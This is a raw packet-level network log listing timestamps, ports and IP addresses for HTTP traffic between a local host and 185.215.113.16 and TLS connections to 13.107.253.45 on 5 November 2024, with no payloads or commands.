Nov 5, 2024 10:13:18.337316036 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.337328911 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.337347984 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.337362051 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.337387085 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.337462902 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.337476015 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.337512970 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.337634087 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.337646961 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.337657928 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.337670088 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.337671995 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.337681055 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.337692976 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.337701082 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.337704897 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.337717056 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.337726116 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.337728024 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.337742090 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.337764978 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.337778091 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.337791920 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.337802887 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.337814093 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.337825060 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.337836027 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.337836027 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.337847948 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.337853909 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.337860107 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.337874889 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.337879896 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.337893963 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.337898016 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.337907076 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.337918043 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.337929010 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.337935925 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.337941885 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.337953091 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.337960958 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.337965965 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.337977886 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.337979078 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.337991953 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.338001013 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.338005066 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.338017941 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.338026047 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.338031054 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.338058949 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.338890076 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.338903904 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.338916063 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.338958979 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.338972092 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.339010000 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.339023113 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.339035034 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.339046001 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.339057922 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.339067936 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.339071035 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.339081049 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.339083910 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.339092970 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.339106083 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.339114904 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.339118958 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.339122057 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.339160919 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.339329004 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.339340925 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.339350939 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.339353085 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.339366913 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.339370012 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.339390039 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.339392900 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.339406013 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.339418888 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.339430094 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.339437008 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.339442968 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.339454889 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.339461088 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.339478970 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.344335079 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.345012903 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.362308979 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.362329960 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.362339973 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.362359047 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.362394094 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.362494946 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.362504959 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.362515926 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.362531900 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.362539053 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.362543106 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.362572908 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.362612963 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.362623930 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.362632990 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.362642050 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.362652063 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.362662077 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.362664938 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.362682104 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.362700939 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.362903118 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.362914085 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.362922907 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.362948895 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.362960100 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.362967968 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.362971067 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.362982035 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.362991095 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.363007069 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.363015890 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.363018990 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.363027096 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.363046885 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.377841949 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.377883911 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.377899885 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.377921104 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.377949953 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.377950907 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.377962112 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.377971888 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.377980947 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.377993107 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.378005981 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.378015041 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.378026009 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.378032923 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.378036022 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.378046989 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.378046989 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.378058910 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.378073931 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.378087997 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.378094912 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.378098965 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.378110886 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.378134012 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.378148079 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.378170013 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.378205061 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.378304958 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.378314972 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.378326893 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.378350973 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.378362894 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.378372908 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.378385067 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.378393888 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.378402948 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.378412962 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.378436089 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.378897905 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.378912926 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.378922939 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.378948927 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.418881893 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.418891907 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.418901920 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.418930054 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.418956995 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.423672915 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.423682928 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.423722982 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.423728943 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.432054996 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.432065010 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.432075024 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.432091951 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.432101011 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.432101965 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.432106018 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.432132006 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.432142973 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.432143927 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.432167053 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.432180882 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.432203054 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.432208061 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.432219028 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.432252884 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.432267904 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.432277918 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.432288885 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.432306051 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.432307005 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.432317972 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.432327986 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.432349920 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.432358027 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.432368040 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.432372093 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.432379007 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.432400942 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.432436943 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.432471037 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.432507992 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.432562113 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.432622910 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.432640076 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.432648897 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.432672977 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.432813883 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.432832956 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.432841063 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.432874918 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.432884932 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.432895899 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.432929039 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.433031082 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.433043003 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.433053017 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.433063984 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.433074951 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.433079958 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.433085918 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.433094025 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.433096886 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.433110952 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.433132887 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.433156013 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.433214903 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.433387041 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.433478117 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.433487892 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.433497906 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.433507919 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.433516979 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.433523893 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.433528900 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.433541059 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.433548927 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.433563948 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.479398966 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.602844954 CET	443	49727	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:18.603884935 CET	443	49726	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:18.604335070 CET	443	49725	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:18.615195990 CET	49727	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:18.615220070 CET	443	49727	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:18.616666079 CET	49727	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:18.616672039 CET	443	49727	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:18.616975069 CET	49726	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:18.616988897 CET	443	49726	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:18.617443085 CET	49726	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:18.617449045 CET	443	49726	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:18.617592096 CET	49725	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:18.617599010 CET	443	49725	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:18.617945910 CET	49725	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:18.617949963 CET	443	49725	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:18.751790047 CET	443	49726	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:18.751900911 CET	443	49727	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:18.751931906 CET	443	49726	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:18.752019882 CET	49726	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:18.752124071 CET	443	49727	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:18.752166986 CET	49727	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:18.752218008 CET	49726	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:18.752218008 CET	49726	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:18.752238035 CET	443	49726	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:18.752250910 CET	443	49726	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:18.752366066 CET	49727	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:18.752374887 CET	443	49727	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:18.752401114 CET	49727	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:18.752408981 CET	443	49727	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:18.752526045 CET	443	49725	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:18.752681017 CET	443	49725	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:18.752790928 CET	49725	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:18.753930092 CET	49725	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:18.753935099 CET	443	49725	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:18.753958941 CET	49725	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:18.753962040 CET	443	49725	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:18.755361080 CET	49730	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:18.755373955 CET	443	49730	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:18.756383896 CET	49731	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:18.756408930 CET	443	49731	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:18.756411076 CET	49730	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:18.756465912 CET	49731	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:18.756527901 CET	49730	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:18.756539106 CET	443	49730	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:18.757074118 CET	49731	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:18.757087946 CET	443	49731	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:18.758338928 CET	49732	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:18.758357048 CET	443	49732	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:18.758428097 CET	49732	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:18.758574009 CET	49732	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:18.758585930 CET	443	49732	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.075045109 CET	443	49728	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.075649977 CET	49728	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:19.075664043 CET	443	49728	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.076121092 CET	49728	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:19.076124907 CET	443	49728	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.088052988 CET	443	49729	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.088479042 CET	49729	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:19.088500977 CET	443	49729	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.088954926 CET	49729	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:19.088960886 CET	443	49729	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.212460995 CET	443	49728	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.212498903 CET	443	49728	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.212599039 CET	49728	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:19.212835073 CET	49728	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:19.212840080 CET	443	49728	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.212850094 CET	49728	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:19.212853909 CET	443	49728	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.215553045 CET	49733	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:19.215598106 CET	443	49733	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.215681076 CET	49733	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:19.215810061 CET	49733	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:19.215822935 CET	443	49733	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.229506969 CET	443	49729	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.229690075 CET	443	49729	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.229943037 CET	49729	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:19.230074883 CET	49729	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:19.230074883 CET	49729	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:19.230097055 CET	443	49729	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.230108023 CET	443	49729	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.232103109 CET	49734	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:19.232131004 CET	443	49734	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.232215881 CET	49734	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:19.232314110 CET	49734	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:19.232326984 CET	443	49734	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.503348112 CET	443	49731	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.506037951 CET	49731	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:19.506056070 CET	443	49731	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.506498098 CET	49731	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:19.506505966 CET	443	49731	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.512435913 CET	443	49732	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.512753010 CET	49732	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:19.512763023 CET	443	49732	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.513048887 CET	443	49730	13.107.253.45	192.168.2.5
